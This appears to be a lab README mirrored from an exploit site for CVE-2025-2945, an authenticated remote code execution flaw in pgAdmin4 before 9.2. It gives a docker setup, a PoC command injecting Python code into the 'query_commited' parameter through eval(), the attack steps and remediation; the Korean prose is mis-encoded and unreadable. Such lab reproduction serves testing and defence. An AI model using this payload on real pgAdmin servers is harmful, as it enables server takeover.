Share
## https://sploitus.com/exploit?id=46282261-1700-5F34-B158-F4D662D564D2
# CVE-2025-2945
**Contributors**
- [μ₯μλΉ (@onxvyn)](https://github.com/onxvyn)
# pgAdmin4 μ격 μ½λ μ€ν (CVE-2025-2945)
pgAdmin4λ PostgreSQL λ°μ΄ν°λ² μ΄μ€λ₯Ό μν μ€νμμ€ μΉ κΈ°λ° κ΄λ¦¬ νλ«νΌμ
λλ€. λ²μ 9.2 λ―Έλ§μμ 쿼리 ν΄μ `/sqleditor/query_tool/download` μλν¬μΈνΈκ° `query_commited` νλΌλ―Έν°λ₯Ό Python `eval()`μ κ²μ¦ μμ΄ μ λ¬ν©λλ€. μΈμ¦λ 곡격μλ μ΄λ₯Ό μ΄μ©ν΄ μλ²μμ μμμ μ½λλ₯Ό μ€νν μ μμ΅λλ€.
### μ°Έκ³ μλ£ (References)
- https://nvd.nist.gov/vuln/detail/CVE-2025-2945
- https://github.com/advisories/GHSA-g73c-fw68-pwx3
- https://github.com/Cycloctane/cve-2025-2945-poc
---
### νκ²½ μ€μ (Environment Setup)
λ€μ λͺ
λ Ήμ΄λ₯Ό μ€ννμ¬ pgAdmin4 9.1 κΈ°λ°μ μ·¨μ½ν μ ν리μΌμ΄μ
μ μμν©λλ€:
```bash
docker compose up -d
```
**μ¬μ μꡬμ¬ν (Prerequisites)**
PoC μ€νμ μν΄ Python `requests` λΌμ΄λΈλ¬λ¦¬κ° νμν©λλ€:
```bash
pip install requests
```
> **Note:** PostgreSQL λ°μ΄ν°λ² μ΄μ€λ `docker-compose.yml`μ 미리 μ€μ λμ΄ μμ΅λλ€. μλΉμ€ μμ ν `http://your-ip:5050`μ μ μνλ©΄ λ‘κ·ΈμΈ νμ΄μ§κ° νμλ©λλ€.

---
### μ·¨μ½ μ‘°κ±΄
λ³Έ μ€μ΅ νκ²½μμ μ·¨μ½μ μ΄ μ¬νλκΈ° μν 쑰건μ λ€μκ³Ό κ°μ΅λλ€.
1. pgAdmin4 9.2 λ―Έλ§ λ²μ μ΄ μ€ν μ€μ΄μ΄μΌ ν©λλ€.
2. 곡격μκ° pgAdmin4 μΉ μλΉμ€μ μ κ·Όν μ μμ΄μΌ ν©λλ€.
3. μ ν¨ν pgAdmin4 κ³μ μ격μ¦λͺ
μ 보μ ν΄μΌ ν©λλ€.
4. SQL μλν°λ₯Ό μ΄κΈ°νν μ μλ PostgreSQL λ°μ΄ν°λ² μ΄μ€κ° μ°κ²°λμ΄ μμ΄μΌ ν©λλ€.
5. `/sqleditor/query_tool/download` μλν¬μΈνΈμ μ‘°μλ `query_commited` νλΌλ―Έν°λ₯Ό μ μ‘ν μ μμ΄μΌ ν©λλ€.
---
### μ·¨μ½μ μ¬ν (Vulnerability Reproduction)
**1. 곡격 μ μν νμΈ**
PoC μ€ν μ marker νμΌμ΄ μ‘΄μ¬νμ§ μλμ§ νμΈν©λλ€:
```bash
docker compose exec web ls -al /tmp/
```

**2. PoC μ€ν**
κΈ°λ³Έ μ격μ¦λͺ
(`vulhub@example.com` / `vulhub`)μΌλ‘ μλ λͺ
λ Ήμ μ€νν©λλ€:
```bash
python3 poc.py \
--target-url http://your-ip:5050 \
--username vulhub@example.com \
--password vulhub \
--db-user vulhub \
--db-pass vulhub \
--db-name vulhub \
--payload "__import__('os').system('touch /tmp/CVE-2025-2945-success')"
```
PoCλ λ€μ μμλ‘ λμν©λλ€:
1. CSRF ν ν° νλ β pgAdmin4 λ‘κ·ΈμΈ
2. μ ν¨ν μλ² ID νμ
3. SQL μλν° μΈμ
μ΄κΈ°ν
4. `query_commited` νλΌλ―Έν°μ Python μ½λ μ£Όμ
β `eval()` μ€ν β μ격 μ½λ μ€ν(RCE)
> **Note:** `/sqleditor/query_tool/download` μμ²μ HTTP 500μ λ°ννμ§λ§, μ΄λ `eval()` μ€ν ν λ°νκ° μ²λ¦¬ κ³Όμ μμ λ°μνλ μ€λ₯λ‘ λͺ
λ Ή μ€ν μ체λ μ΄λ―Έ μλ£λ μνμ
λλ€. marker νμΌ μμ± μ¬λΆλ‘ μ±κ³΅μ νλ¨ν©λλ€.
**3. μ€ν κ²°κ³Ό νμΈ**
```bash
docker compose exec web ls -al /tmp/
```
μλμ κ°μ΄ `/tmp` λλ ν 리μ `CVE-2025-2945-success` νμΌμ΄ μμ±λ κ²μ νμΈν μ μμ΅λλ€:

---
### λμ λ°©μ (Remediation)
- pgAdmin4λ₯Ό **9.2 μ΄μ**μΌλ‘ μ
κ·Έλ μ΄λν©λλ€. ν΄λΉ λ²μ μμ `eval()` λμ μμ ν μ
λ ₯ νμ± λ°©μμΌλ‘ μμ λμμ΅λλ€.
- μ¦μ μ
κ·Έλ μ΄λκ° λΆκ°λ₯ν κ²½μ°, λ°©νλ²½ λλ 리λ²μ€ νλ‘μλ₯Ό ν΅ν΄ pgAdmin4 μΉ μΈν°νμ΄μ€μ μΈλΆ μ κ·Όμ μ°¨λ¨ν©λλ€.
- `/sqleditor/query_tool/download` μλν¬μΈνΈμ λν λΉμ μ μμ²μ λͺ¨λν°λ§ν©λλ€.